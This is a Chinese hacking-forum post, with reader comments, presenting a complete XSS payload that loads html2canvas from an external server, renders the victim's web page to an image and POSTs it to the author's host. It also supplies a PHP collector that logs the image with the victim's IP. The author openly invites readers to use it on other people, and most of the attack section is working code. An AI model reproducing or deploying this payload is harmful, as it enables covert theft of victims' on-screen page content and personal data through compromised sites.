利用XSS截取屏幕截图
文章来源:y35u

2个月前,长短短(Sogili)在群里发了一个html2canvas.js 并给了一个POC
我写了一个完整的js来获得对方的屏幕截图
看代码
document.write("<script src=\"http:\/\/xj.hk\/html2canvas.js\"><\/script>"); <br>//调用截屏核心功能js,下载地址:http://xj.hk/html2canvas.js
window.onload=function(){
html2canvas(document.body, {
onrendered: function(canvas) {
//下面开始把抓取到的屏幕图片代码传输和接收,由于代码非常的长,只能使用post
xhr=function(){
var request = false;
if(window.XMLHttpRequest){
request = new XMLHttpRequest();
}else if (window.ActiveXObject){
try{
request = new window.ActiveXObject('Microsoft.XMLHTTP');
}catch(e){
}
}
return request;
}();
request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
xhr.send(argv); //发送POST数据
return xhr.responseText;
};
attack_a = function(){
var src = "http://xj.hk/jp.php"; //post接收地址
var argv_0 = "'&screenshot="+canvas.toDataURL(); //post字段名称为screenshot
request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();
}
});
}
当然,你也可以直接把这个保存为1.js,去x别人
下面就说接收端了,很简单,上面的js,把数据发送给了
http://xj.hk/jp.php
我们就做一个jp.php
代码如下
<?php
$screenshot=$_POST['screenshot'];
$fp=fopen("xss.txt", "at");
fputs($fp, "TIME: ".date("Y/m/d H:i:s")." IP: ".$_SERVER['REMOTE_ADDR']." image : ".$screenshot." \n");
fclose($fp);
?>

看到了 很长很长的一段data
我们把这个data复制,并放入火狐的url中去访问,就能看到被x的人的屏幕截图咯

评论150次
这个很早之前测试过,好象没成功
小马的那个pxss平台也可以自动截图
好好的学
强力无比,不知道现在还能用否?
好思路,这个不得不顶,
不错不错,,,下下来玩玩
一直想弄这个 没有成功 试试楼主的 感谢分享
对于我这样的菜鸟 我只能说 xss还能这么玩!
支持一下.收藏一下.
踩在巨人肩膀上成就自己的高度!真不错!
= =是浏览器内容截屏,还是屏幕截图
刚才抱着试试的心态测试了下,还花费2TB下了,结果xsser下数据丢失,悲惨没完整看完回复,xsser下需要完善,或者说楼主提供不完整? 同时,在本地测试的html能正常截图,但只是浏览器框架内截图,即网页截图,并不是所说的整个屏幕!!!
我列个操 。 xss截图 。。。。 我out了。
前端太神奇了,膜拜
soga 感谢分享!
js功能不止这些,很多都待开发
http://html2canvas.hertzen.com/build/html2canvas.js 其实核心关键的是这个东西。
果断看看!
连续截屏 能实现吗